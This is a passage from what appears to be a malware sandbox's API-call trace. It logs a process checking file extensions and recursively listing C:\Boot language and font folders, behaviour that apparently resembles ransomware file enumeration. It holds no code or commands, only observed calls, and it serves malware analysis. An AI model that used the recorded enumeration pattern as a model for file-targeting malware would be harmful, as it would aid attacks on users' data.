lpString2="") returned 1 [0039.457] lstrlenW (lpString=".dotx") returned 5 [0039.457] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".dpx") returned 4 [0039.457] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".dqy") returned 4 [0039.457] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".dsn") returned 4 [0039.457] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0039.457] lstrlenW (lpString=".dt") returned 3 [0039.457] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0039.457] lstrlenW (lpString=".dtd") returned 4 [0039.457] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".dwg") returned 4 [0039.458] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".dwt") returned 4 [0039.458] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".dx") returned 3 [0039.458] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0039.458] lstrlenW (lpString=".dxf") returned 4 [0039.458] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".edml") returned 5 [0039.458] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".efd") returned 4 [0039.458] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".elf") returned 4 [0039.458] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".emf") returned 4 [0039.458] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".emz") returned 4 [0039.458] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".epf") returned 4 [0039.458] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".eps") returned 4 [0039.458] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".epsf") returned 5 [0039.458] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".epsp") returned 5 [0039.458] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".erf") returned 4 [0039.458] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".exr") returned 4 [0039.458] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0039.458] lstrlenW (lpString=".f4v") returned 4 [0039.459] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0039.459] lstrlenW (lpString=".fido") returned 5 [0039.459] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0039.459] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.459] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.459] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.459] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.460] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.460] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.460] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0039.461] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.461] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.461] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.461] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.461] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.461] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.461] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0039.461] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.461] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.466] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.466] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.466] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.466] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.466] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0039.467] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.467] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.467] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.467] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.467] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.467] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.467] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0039.467] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.467] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.468] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.468] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.469] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.469] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.469] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0039.469] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.469] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.470] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.470] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.470] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.470] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.470] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0039.470] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.470] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.470] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.470] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.471] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.471] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.471] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0039.471] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.471] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.472] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.472] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0039.472] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.472] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.472] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0039.472] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.472] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.473] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.473] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.473] FindClose (in: hFindFile=0x695248 | out: hFindFile=0x695248) returned 1 [0039.473] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0039.473] FindNextFileW (in: hFindFile=0x694200, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0039.473] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36e0750 [0039.473] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x695248 [0039.474] FindNextFileW (in: hFindFile=0x695248, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 